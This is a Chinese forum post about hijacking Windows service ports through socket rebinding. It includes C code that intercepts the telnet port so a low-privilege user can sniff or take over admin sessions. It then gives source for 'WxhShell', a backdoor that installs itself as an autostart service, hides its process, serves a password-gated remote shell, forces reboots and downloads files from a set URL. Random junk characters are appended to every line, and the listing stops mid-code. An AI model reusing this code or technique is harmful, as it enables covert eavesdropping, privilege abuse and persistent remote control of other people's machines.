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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pe vXixl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }ofb]_C,  
g}v](Q  
  saddr.sin_family = AF_INET; l<w7 \a6  
o[cOL^Xd1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); La )M  
KR#,6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ":$4/b6  
D#L(ZlD4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q4[8\Ua  
9^W7i]-Z  
  这意味着什么?意味着可以进行如下的攻击: S[exnZ*Y  
A|8"}Hm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~jL%l  
0WC\u xT7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S~);   
p /-du^:2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *rmC3'}s  
x6`mv8~9Db  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H P.=6bJWi  
R>O_2`c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 It[51NMal  
c'i5,\ #X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,fp+nu8,  
UqI #F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7S }0Kuk)  
i8V\x>9  
  #include HpEd$+Mz  
  #include L]H'$~xx*  
  #include ;&&<zWq3h  
  #include    ksC_F8Q+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aO(PVS|P  
  int main() 2.aCo, Kb;  
  { QcL@3QC  
  WORD wVersionRequested; U0_)J1Yp  
  DWORD ret; Zu,:}+niU  
  WSADATA wsaData; `.MZ,Xhqi"  
  BOOL val; :s_> y_=g  
  SOCKADDR_IN saddr; K>DN6{hnV;  
  SOCKADDR_IN scaddr; j**[[  
  int err; 4C=W~6~  
  SOCKET s; 6^gp /{  
  SOCKET sc; #"4ioTL2  
  int caddsize; FB[b]+t`D{  
  HANDLE mt; LG&BWs!  
  DWORD tid;   rJ Jx8)M  
  wVersionRequested = MAKEWORD( 2, 2 ); Cjf[]aNJe`  
  err = WSAStartup( wVersionRequested, &wsaData ); ByY2KJ7  
  if ( err != 0 ) { RqTO3Kf  
  printf("error!WSAStartup failed!\n"); >Bb X:  
  return -1; gS'{JZu2  
  } 9m M3Ve*  
  saddr.sin_family = AF_INET; N1ipK9a  
   }_'5Vb_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3:x(2 A  
Q-w# !<L.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X} k;(rb  
  saddr.sin_port = htons(23); V O:4wC"7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,,{;G'R|  
  { ~A=zjkm  
  printf("error!socket failed!\n"); gTho:;q7a  
  return -1; :ZXd%  
  } DEZww9T2Qs  
  val = TRUE; {nV/_o$$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 49MEGl;K0\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F"] P|   
  { ~(V\.hq  
  printf("error!setsockopt failed!\n"); G]>yk_#/\U  
  return -1; zL yI|%KH  
  } *&I>3;~%^}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ljd`)+`D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '0D$C},^|8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xG/Q%A  
U=G49 ~E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]j3>=Jb;  
  { Mh7m2\fLbd  
  ret=GetLastError(); yiZtG#6K{  
  printf("error!bind failed!\n"); m;dwt1'Zw  
  return -1; >R F|Q  
  } P4[kW}R  
  listen(s,2); >$ZG=&  
  while(1) '|IcL1c=I  
  { l ;:IL\*1I  
  caddsize = sizeof(scaddr); yNns6  
  //接受连接请求 (t-hi8"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5tlR rf  
  if(sc!=INVALID_SOCKET) 3IMvtg  
  { [ \_o_W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L0wT:x*  
  if(mt==NULL) ^o3,YH  
  { >38>R0k35  
  printf("Thread Creat Failed!\n"); |R9Lben',  
  break; j*DPW)RkKX  
  } LlX)xJ  
  } sC-o'13  
  CloseHandle(mt); ^ #:;6^Su  
  } 072C!F  
  closesocket(s); IA`voO$  
  WSACleanup(); 8TP$?8l  
  return 0; AY/.vyS  
  }   vXDs/,`r  
  DWORD WINAPI ClientThread(LPVOID lpParam) jaoZ}}V_$  
  { [Fr](&Tx  
  SOCKET ss = (SOCKET)lpParam; aRMlE*yW  
  SOCKET sc; ~n]5iGz  
  unsigned char buf[4096]; _@ao$)q{J  
  SOCKADDR_IN saddr; E'LI0fr  
  long num; 9z#8K zXg  
  DWORD val; DU!T#H7  
  DWORD ret; '3l TI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fUjo',<s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fB$a )~  
  saddr.sin_family = AF_INET; E`fG9:6l]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q VTL}AT2:  
  saddr.sin_port = htons(23); ;_cTrjMv\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _N`.1Dl%Q  
  { >-MnB  
  printf("error!socket failed!\n"); WN'AQ~qA  
  return -1; T)mQ+&|  
  } g"P%sA/E+  
  val = 100; <[db)r~c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  vywB{%p  
  { ZexC3LD"  
  ret = GetLastError(); s/"bH3Ob9v  
  return -1; H a!,9{T  
  } D^[l~K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z0}j7ns]  
  { \jC) ;mk  
  ret = GetLastError(); 9lYKG ^#D  
  return -1; 0<m7:D Gd  
  } & BPYlfB1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d1D f`  
  { << 6 GE  
  printf("error!socket connect failed!\n"); Cf[tNq  
  closesocket(sc); A^OwT#  
  closesocket(ss); c]9gf\WW  
  return -1; mo| D  
  } 5T;LWS  
  while(1) ahl|N`  
  { Jh\KVmfXN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &nmBsl3Q.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f-F=!^.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +fVvH  
  num = recv(ss,buf,4096,0); {lds?AuK  
  if(num>0) 2w.FC  
  send(sc,buf,num,0); #kW=|8X  
  else if(num==0) >+%#m'Y&&  
  break; bg zd($)u  
  num = recv(sc,buf,4096,0);  y<Koc>8  
  if(num>0) `PUqz&  
  send(ss,buf,num,0); i-CJ{l  
  else if(num==0) UPfE\KN+p#  
  break; `LkrG9KV{  
  } lju5+0BSb  
  closesocket(ss); 2y!n c%  
  closesocket(sc); Ij#mmj NW  
  return 0 ; e)e(f"t6Q  
  } qR@ES J_  
TZgtu+&  
E^-c,4'F  
========================================================== |P5dv>tb F  
Oa/^A-'Q  
下边附上一个代码,,WXhSHELL +p\E%<uQ  
Wg}KQ6 6  
========================================================== >|SIqB<%:  
hCQOwk#  
#include "stdafx.h" d8wGXNd7B  
8>C4w 5kF  
#include <stdio.h> B /;(#{U;  
#include <string.h> v^&HZk=(  
#include <windows.h> tiZ H;t';<  
#include <winsock2.h> =IL\T8y09  
#include <winsvc.h> 1GN^ui a7  
#include <urlmon.h> [Hx}#Kds  
!RKuEg4hQ  
#pragma comment (lib, "Ws2_32.lib") u#ya 8  
#pragma comment (lib, "urlmon.lib") gT8(LDJ  
)q<VZ|V  
#define MAX_USER   100 // 最大客户端连接数 F8w7N$/V",  
#define BUF_SOCK   200 // sock buffer {7e(0QK  
#define KEY_BUFF   255 // 输入 buffer FS"Ja`>j~  
5p.rd0T]l3  
#define REBOOT     0   // 重启 )?72 +X  
#define SHUTDOWN   1   // 关机 VN)WBv  
vsI;ooR>  
#define DEF_PORT   5000 // 监听端口 ROkwjw  
qJ;~ANwt  
#define REG_LEN     16   // 注册表键长度 sV"tN2W@  
#define SVC_LEN     80   // NT服务名长度 %wbdg&^  
u(Mbp$R' ?  
// 从dll定义API ?i<l7   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }%XB*pzQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \6 \bD<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L\4rvZa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8O^x~[sQ  
[+WsVwyf?  
// wxhshell配置信息 mu B Y  
struct WSCFG { ?w/p 9j#  
  int ws_port;         // 监听端口 | lLe^FM  
  char ws_passstr[REG_LEN]; // 口令 a#1r'z~]}  
  int ws_autoins;       // 安装标记, 1=yes 0=no M{L<aYe  
  char ws_regname[REG_LEN]; // 注册表键名 0L>3 i8'  
  char ws_svcname[REG_LEN]; // 服务名 @ 51!3jeu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H r:*p6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `ulQ C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g+o$&'\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rai'x/Ut}+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :3M ,]W]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 | co#X8J  
HK[%'OQ  
}; _&= `vv'  
0j$=KA  
// default Wxhshell configuration V_ 6K?~j  
struct WSCFG wscfg={DEF_PORT, 1XN%&VR>^D  
    "xuhuanlingzhe", Gm- "?4(  
    1, w^L`"  
    "Wxhshell", pqg2#@F.  
    "Wxhshell", `)O9 '568  
            "WxhShell Service", N~|f^#L  
    "Wrsky Windows CmdShell Service", 0/~p1SSun  
    "Please Input Your Password: ", [ &Wy $  
  1, Y's=31G@  
  "http://www.wrsky.com/wxhshell.exe", TY]0aw2]|7  
  "Wxhshell.exe" <x`yoVPiZg  
    }; E:rJi]  
@C-dCC?  
// 消息定义模块 }<G a e5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VY/r2o#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kg Bkwp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I e!KIU  
char *msg_ws_ext="\n\rExit."; nWelM2  
char *msg_ws_end="\n\rQuit."; }'<Z&NW6  
char *msg_ws_boot="\n\rReboot..."; moM'RO,M  
char *msg_ws_poff="\n\rShutdown..."; {ZUk!o>m@  
char *msg_ws_down="\n\rSave to "; M0m%S:2  
y6am(ugE  
char *msg_ws_err="\n\rErr!"; -}@C9Ja[?  
char *msg_ws_ok="\n\rOK!"; O4-#)#-)S~  
xpa+R^D5G  
char ExeFile[MAX_PATH]; dZ|bw0~_!  
int nUser = 0; 1N),k5I  
HANDLE handles[MAX_USER]; }*XF- U  
int OsIsNt;  mTH[*Y,  
jYU0zGpj  
SERVICE_STATUS       serviceStatus; FBNi (D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WA}'[h   
T72Li"00  
// 函数声明 !T`g\za/  
int Install(void); =0e>'Iw2  
int Uninstall(void); AYNz {9  
int DownloadFile(char *sURL, SOCKET wsh); <!dZ=9^^ 1  
int Boot(int flag); ~RLjL"  
void HideProc(void); pe[huYE  
int GetOsVer(void); {{A=^rr%C  
int Wxhshell(SOCKET wsl); `mkOjsj &  
void TalkWithClient(void *cs); '!X`X=  
int CmdShell(SOCKET sock); pz2E+o  
int StartFromService(void); wB8548C}-  
int StartWxhshell(LPSTR lpCmdLine); =YYqgNz+\w  
*)r_Y|vg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (q"S0{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lxTqGwx  
iMVQt1/  
// 数据结构和表定义 "=?JIQ  
SERVICE_TABLE_ENTRY DispatchTable[] = 0Wd5s{S  
{ \sGJs8#v][  
{wscfg.ws_svcname, NTServiceMain}, "QfF]/:  
{NULL, NULL} 2v?#r"d  
}; gd3MP^O1  
/ pe.?Zd  
// 自我安装 `iuQ.I  
int Install(void) 3 } $9./+  
{ #~*v*F~3  
  char svExeFile[MAX_PATH]; =]Y'xzJuu  
  HKEY key; D{]w +  
  strcpy(svExeFile,ExeFile); 'o]}vyz;  
l7ES*==&@0  
// 如果是win9x系统,修改注册表设为自启动 6wiuNGZb  
if(!OsIsNt) { M9V,;*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bAY >o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k="w EZ;Q  
  RegCloseKey(key); sC.cMZe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W[!bF'- 10  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n\JSt}A  
  RegCloseKey(key); ),;h  
  return 0; 7B _Wz9y  
    } 09Oe-Bg  
  } Xa8_kv_  
} -?T|1FA,  
else { ^-# :T  
IxG0TJ_  
// 如果是NT以上系统,安装为系统服务 Qe[ai?iJkt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ORo +]9)Yv  
if (schSCManager!=0) tchpO3u,  
{ F8m@mh*8>  
  SC_HANDLE schService = CreateService b4^a zY  
  ( -J!k|GK#MX  
  schSCManager, Iq;a!Lya-  
  wscfg.ws_svcname, USf;}F:-C  
  wscfg.ws_svcdisp, KG5B6Om5'  
  SERVICE_ALL_ACCESS, /4BYH?*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %'F[(VB   
  SERVICE_AUTO_START, [:Odb?+`F  
  SERVICE_ERROR_NORMAL, wu0J XB%&^  
  svExeFile, &)Wm rF  
  NULL, Z;U\h2TY  
  NULL, BGB.SN#q+  
  NULL, 9&c *%mm  
  NULL, P>6wr\9i[  
  NULL > m9ge`!9  
  ); %]DJ-7 xE  
  if (schService!=0) UJX5}36  
  { 5PHAd4=bJ  
  CloseServiceHandle(schService); Wm58[;%LTw  
  CloseServiceHandle(schSCManager); vP<8 ,XG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \]/ 6>yT  
  strcat(svExeFile,wscfg.ws_svcname); !ImtnU}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \4q1<j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e3&.RrA  
  RegCloseKey(key); j"+R*H(#  
  return 0; n]JfdI  
    } D/zp_9B  
  } =dC5q{  
  CloseServiceHandle(schSCManager); 1K$8F ~%Z  
} 47/YD y%  
} A^7Y%  
&_6B{Q  
return 1; U}`HN*Q.q  
} @h\u}Ee  
gJn_8\,C>Q  
// 自我卸载 c;7ekj  
int Uninstall(void) 9%uJ:c?  
{ u-Ip*1/wp  
  HKEY key; Qgv-QcI{  
/Big^^u  
if(!OsIsNt) { d 'wWj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T xwZ3E  
  RegDeleteValue(key,wscfg.ws_regname); s2+s1%^Ll  
  RegCloseKey(key); H"g p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,e>N9\*  
  RegDeleteValue(key,wscfg.ws_regname); (OK;*ZH+T@  
  RegCloseKey(key); HQ8;d9cGir  
  return 0;  Et0;1  
  } I%G6V a@  
} FZtIC77X5  
} "^iw {]~U  
else { bxg9T(Bj  
A =k{Rl{LA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ddjaM/.E  
if (schSCManager!=0) &mvC<_1n  
{ Hq$?-%4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Co>=<\yi  
  if (schService!=0) kO\aNtK  
  { O7RW*V:G@  
  if(DeleteService(schService)!=0) { {7X80KI  
  CloseServiceHandle(schService); D7x"P-ie  
  CloseServiceHandle(schSCManager); HTCn=MZm ?  
  return 0; >'lte&  
  } V`"A|Y  
  CloseServiceHandle(schService); 3+jqf@fO  
  } 9a9{OJa6M  
  CloseServiceHandle(schSCManager); UYb:q  
} rfMzHY}%  
} MY}B)`yx=  
Ey;uaqt  
return 1; [& &9F};  
} P\CT|K'P  
R oWGQney  
// 从指定url下载文件 pTJJ.#$CEF  
int DownloadFile(char *sURL, SOCKET wsh) i~6qOlLD-  
{ oos7x6  
  HRESULT hr; DrB PC@^  
char seps[]= "/"; H6XlSj  
char *token; )W/ mt[;  
char *file; V"@]PI pr  
char myURL[MAX_PATH]; (a i&v  
char myFILE[MAX_PATH]; vN%SN>=L<  
(-(sBQa+  
strcpy(myURL,sURL); #Hr>KQ5mJQ  
  token=strtok(myURL,seps); ZK@ENfG  
  while(token!=NULL) H?>R#Ds-  
  { <OEu 4,~:  
    file=token; ?8Hr 9  
  token=strtok(NULL,seps); !8U\GR `  
  } .pOTIRbA  
AA um1xl  
GetCurrentDirectory(MAX_PATH,myFILE); Rx 4 ;X  
strcat(myFILE, "\\"); *1KrI9i  
strcat(myFILE, file); Og`w~!\  
  send(wsh,myFILE,strlen(myFILE),0); =)3tVH&  
send(wsh,"...",3,0); 3X&}{M:Qo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3R[5prE<  
  if(hr==S_OK) O?9&6x   
return 0; {\L /?#  
else ZLJfSnB  
return 1; b}9Ry"  
m. G}# /  
} 1/YWDxo,  
bi bjFg   
// 系统电源模块 vo[Zuv?<h  
int Boot(int flag) ^MGgFS]G  
{ qqSf17sW  
  HANDLE hToken; gI qYIt  
  TOKEN_PRIVILEGES tkp; afcI5w;>}  
iy{*w&p  
  if(OsIsNt) { c?{&=,u2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {`vF4@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >c>f6  
    tkp.PrivilegeCount = 1; Nj_h+=UE!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z`23z( +  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 54w..8'  
if(flag==REBOOT) { Lh6G"f(n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;_GS<[A3  
  return 0; ^xO CT=V  
} dw8Ce8W  
else { uFIr.U$V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^E8XPK]-~  
  return 0; @O/-~, E68  
} !PI& y  
  } EC2KK)=n}  
  else { s HSZIkB-r  
if(flag==REBOOT) { {mK=Vig  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?A /+DRQ(  
  return 0; wG4=[d  
} QcGyuS.B  
else { V_?5cwZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :;S]jNy}j)  
  return 0; $UAmUQg)}_  
} CxC&+';  
} LoQm&3/  
#N?EPV$  
return 1; xZ} 1dq8  
} +^ n\?!  
j^}p'w Tu{  
// win9x进程隐藏模块 J)iy6{0"  
void HideProc(void) (5] |Kcp|  
{ jemg#GB8  
q"@Y2lhD!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K%ltB&  
  if ( hKernel != NULL ) `w1|(Sk$h  
  { '-tiH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]?p&sI4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G%w hOIFRq  
    FreeLibrary(hKernel); 4~8++b1/;  
  } .V9/0  
j()<.h;'  
return; +(*S@V$c  
} rYbb&z!u  
-(4)lw>U  
// 获取操作系统版本 445}Yw5;9  
int GetOsVer(void) Cvr?%+)$M  
{ q$Z.5EN  
  OSVERSIONINFO winfo; 2XubM+6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8r7~ >p~  
  GetVersionEx(&winfo); K'EGm #I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )2KQZMtgm]  
  return 1; | -l)$i@  
  else KPI c?|o/6  
  return 0; z{w!yMp"  
} /l-lkG5  
p9ligs7V'  
// 客户端句柄模块 ?'_E$  
int Wxhshell(SOCKET wsl) !N--  
{ &)@|WLW  
  SOCKET wsh; B>}=x4-8  
  struct sockaddr_in client; :gMcl"t--  
  DWORD myID; fGDR<t3yiQ  
sf\p>gb  
  while(nUser<MAX_USER) 47b=>D8  
{ g/&`NlD  
  int nSize=sizeof(client); *6 oQW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m0+X 109  
  if(wsh==INVALID_SOCKET) return 1; :|3n`,  
SnsOuC5Ah  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kYBy\  
if(handles[nUser]==0) 7jIye8Zi8  
  closesocket(wsh); F3$@6J8<[z  
else $gU6=vN1#  
  nUser++; }=CL/JHz  
  } ?z>7&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E?1"&D m  
c|8[$_2  
  return 0; y%A!|aBu  
} X#KC<BXw,  
<<}t&qE%2%  
// 关闭 socket Fp52 |w_  
void CloseIt(SOCKET wsh) ]RgLTqv4x  
{ ],l w  
closesocket(wsh); n4Od4&r  
nUser--; E^z\b *  
ExitThread(0); EY=`/~|c  
} @giJ&3S,  
.:?X<=!S&t  
// 客户端请求句柄  B@Acm  
void TalkWithClient(void *cs) z DDvXz  
{ f$Fa*O-  
cn1UFmT  
  SOCKET wsh=(SOCKET)cs; -I-u.!  
  char pwd[SVC_LEN]; v o vc,4}  
  char cmd[KEY_BUFF]; 7'g'qUW+~  
char chr[1]; by z2u  
int i,j; kk_$j_0  
W<<{}'Db/#  
  while (nUser < MAX_USER) { d7 )&Z:  
es}j6A1  
if(wscfg.ws_passstr) { EHk(\1!V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cNX,%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OU&eswW  
  //ZeroMemory(pwd,KEY_BUFF); j{00iA}  
      i=0; "J|_1!9  
  while(i<SVC_LEN) { d1YE$   
HAa2q=  
  // 设置超时 oxkA+}^j8M  
  fd_set FdRead; !QK ~l  
  struct timeval TimeOut; *7.EL`8  
  FD_ZERO(&FdRead); 6%  +s`  
  FD_SET(wsh,&FdRead); `NIc*B4q.  
  TimeOut.tv_sec=8; T~B'- >O  
  TimeOut.tv_usec=0; o4I&?d7;"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |DAe2RK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); > <cK  
2$8#ePyq*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (#6E{@eq  
  pwd=chr[0]; rO8Q||@>A  
  if(chr[0]==0xd || chr[0]==0xa) { NHKIZx8sR  
  pwd=0; kkfwICBI  
  break; Q2[@yRY/z  
  } "Uy==~  
  i++; )aY^k|I  
    } n{oRmw-  
+3B^e%`NPm  
  // 如果是非法用户,关闭 socket &w@~@]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fAMJFHW  
} e_3KNQ`kA  
L@> +iZSO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A#&Q(g\YE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ="fq.Tt  
!FwR7`i  
while(1) { x!$Dje}  
Ta;'f7Oz  
  ZeroMemory(cmd,KEY_BUFF); # 3{g6[Y  
>Xz P'h  
      // 自动支持客户端 telnet标准   +^!;J/24  
  j=0; HD"Pz}k4  
  while(j<KEY_BUFF) { mQ#E{{:H+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >y<yFO{  
  cmd[j]=chr[0]; K}^Jf ;  
  if(chr[0]==0xa || chr[0]==0xd) { X ?p_O2#k  
  cmd[j]=0; y>+xdD0 +  
  break; GtZkzVqLd  
  } =*f>vrme  
  j++; WH Zz?|^  
    } @bu5{b+8  
yxfV|ox  
  // 下载文件 - zaqL\  
  if(strstr(cmd,"http://")) { .;6G?8`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Op] L#<&T  
  if(DownloadFile(cmd,wsh)) wm@ />X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1S !<D)n  
  else hR;J#w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mv9q-SIc[  
  } ]KX _a1e  
  else { I{Pny/d`  
/rRQ*m_  
    switch(cmd[0]) { b}P5*}$:9"  
  cp|&&q  
  // 帮助 5fGUJ[F=  
  case '?': { \VW&z:/*pZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .:eNL]2%:  
    break; Mp;yvatO  
  } .BLF7> M1  
  // 安装 fneg[K  
  case 'i': { :v/6k  
    if(Install()) ![H!Y W'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {,r7dxI)`  
    else JM8 s]&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dt NHj/\  
    break; d\nBc6  
    } D}Jhg`9  
  // 卸载 IbRy~  
  case 'r': { %\=oy=f  
    if(Uninstall()) cE x$cZRMI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ra CpL9;  
    else mPHn &4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %y zFWDg  
    break; ~<0!sE&y  
    } 6km{= ```  
  // 显示 wxhshell 所在路径 ,}&E=5MF\  
  case 'p': { 'TPRGX~&  
    char svExeFile[MAX_PATH]; ?L|Jc_E  
    strcpy(svExeFile,"\n\r"); +cAN4  
      strcat(svExeFile,ExeFile); kqYvd]ss  
        send(wsh,svExeFile,strlen(svExeFile),0); ,WF)GS|7V  
    break; _#c^z;!  
    } Uk5O9D0 He  
  // 重启 5- Q`v/w;  
  case 'b': { H!dUQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MxiU-  
    if(Boot(REBOOT)) A@/DGrZX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G@Dw  
    else { ,j~ R ^j  
    closesocket(wsh); 1m-"v:fT5D  
    ExitThread(0); lu @#)  
    } H~~I6D{8  
    break; Ty]/F+{  
    } UV>^[/^O  
  // 关机 #&\hgsw/T  
